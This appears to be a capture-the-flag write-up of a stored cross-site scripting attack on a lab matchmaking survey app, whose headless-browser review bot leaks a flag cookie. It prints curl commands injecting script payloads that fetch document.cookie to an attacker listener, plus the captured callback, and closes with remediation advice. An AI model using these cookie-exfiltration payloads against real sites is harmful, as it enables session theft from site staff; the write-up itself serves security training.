Writeup — "Cupid's Matchmaker" (Stored XSS → Admin Bot)
"No AI, just human matchmakers." — the human reviewer is a headless browser that renders your survey un-sanitized.
The app claims "our matchmaking team personally reviews every submission." That review happens in a headless Chrome bot. Inject a stored XSS payload into the survey, wait for the bot to visit it, and exfiltrate the reviewer's cookie — which contains the flag.
THM{XSS_CuP1d_Str1k3s_Ag41n}
Table of Contents
- 1. Reconnaissance
- 2. Understanding the App / Attack Surface
- 3. The Hypothesis — Stored XSS + Admin Bot
- 4. Exploitation — Exfiltrating the Cookie
- 5. Recovering the Flag
- 6. How the App Should Be Fixed
- 7. Key Takeaways
1. Reconnaissance
1
Service fingerprint
curl -i http://10.64.174.198:5000/ HTTP/1.1 200 OK Server: Werkzeug/3.0.1 Python/3.12.3 Content-Type: text/html; charset=utf-8
Fingerprint: a Flask app (Werkzeug dev server) on Python 3.12. The homepage is "Cupid's Matchmaker" — a personality survey with copy that constantly stresses human review:
No Algorithms. No AI. Just Real Human Matchmakers. Our matchmaking team personally reads and analyzes your submission. 📋 Our team typically reviews submissions within a minute.
2
Route discovery
GET / 200 Home page
GET /survey 200 Personality survey form
GET /login 200 "Admin Login / Matchmaking team members only"
GET /admin 302 → /login (auth required)
GET /admin/submissions 302 → /login
GET /robots.txt 404
GET /.git/config 404There is an admin area (login-gated), and the survey stores our answers for someone else to review. Login fuzzing with common defaults returned no hits.
2. Understanding the App / Attack Surface
3
The survey form
POST /survey (application/x-www-form-urlencoded) name age gender seeking ideal_date describe_yourself looking_for dealbreakers
Submitting returns 302 → / with a flash message:
Thank you! Our matchmaking team will review your submission shortly! Redirected to /
Our input is not reflected back to us — so reflected XSS / SSTI are unlikely. The input is stored and viewed elsewhere (the admin panel).
3. The Hypothesis — Stored XSS + Admin Bot
4
"A human reviews it" = a bot
Copy like "reviewed within a minute" is a textbook CTF hint: an automated reviewer (headless browser) opens submitted surveys. If any field is rendered as raw HTML, our JavaScript executes in the reviewer's privileged origin (http://localhost:5000).
No cookie stealing needed on our part beyond a listener — the bot simply phones home.
4. Exploitation — Exfiltrating the Cookie
5
Start a listener
nc -lvnp 8000
Attacker IP on the VPN: 192.168.157.97.
6
Plant payloads in every field
Because we can't see the admin panel, we don't know which field is un-sanitized — so we tag one payload per field to learn which one fires:
# each field gets a marker so we can identify the vulnerable one curl -s -o /dev/null -X POST http://10.64.174.198:5000/survey \ --data-urlencode "name=<script>fetch('http://192.168.157.97:8000/?f=name&c='+document.cookie)</script>" \ --data-urlencode "age=25" \ --data-urlencode "gender=Male" \ --data-urlencode "seeking=Female" \ --data-urlencode "ideal_date=<script>fetch('http://192.168.157.97:8000/?f=ideal&c='+document.cookie)</script>" \ --data-urlencode "describe_yourself=<script>fetch('http://192.168.157.97:8000/?f=desc&c='+document.cookie)</script>" \ --data-urlencode "looking_for=<script>fetch('http://192.168.157.97:8000/?f=look&c='+document.cookie)</script>" \ --data-urlencode "dealbreakers=<script>fetch('http://192.168.157.97:8000/?f=deal&c='+document.cookie)</script>" # 302 — accepted and queued for review
An earlier first attempt (image-onerror variant) produced no callback; the plain <script> tag with fetch() is what fired.
7
The bot reviews the submission
Within ~30 seconds the listener receives a callback from the review bot:
Connection received on 10.64.174.198 56008
GET /?f=deal&c=flag=THM{XSS_CuP1d_Str1k3s_Ag41n} HTTP/1.1
Host: 192.168.157.97:8000
User-Agent: Mozilla/5.0 ... HeadlessChrome/144.0.0.0 Safari/537.36
Origin: http://localhost:5000
Referer: http://localhost:5000/User-Agentconfirms the reviewer is HeadlessChrome.f=dealtells us thedealbreakersfield is the un-sanitized one.c=flag=...— the flag was stored directly in the bot's cookie (noHttpOnly), sodocument.cookieleaks it.
5. Recovering the Flag
8
Result
THM{XSS_CuP1d_Str1k3s_Ag41n}The flag text reads: "XSS Cupid strikes again."
6. How the App Should Be Fixed
- Sanitize / escape all user input before rendering. Every survey field must be HTML-escaped in the reviewer's view — one un-escaped field (
dealbreakers) was enough to own the review context. - Set
HttpOnlyon sensitive cookies. The flag/session lived in a cookie readable by JavaScript;HttpOnlywould have blockeddocument.cookieexfiltration. - Never trust "humans review it" workflows: treat the reviewer browser as a privileged principal and assume any rendered user content is attacker-controlled.
- Use a strict CSP / context-aware output encoding as defense in depth, even if fields are escaped.
7. Key Takeaways
- "A human reviews your content" always means stored/blind XSS. Any feature where a moderator or bot views user-submitted content is a target.
- Blind XSS needs a callback. You can't see the admin page — tag each field, fire a listener, and let the payload identify the vulnerable one.
- Fetch-in-bot-context beats cookie tricks. The bot already holds the privileges; just ask it to exfiltrate
document.cookie(or fetch internal endpoints like/flag). - HttpOnly matters. A single missing flag turned a session cookie into the flag.
Flag: THM{XSS_CuP1d_Str1k3s_Ag41n}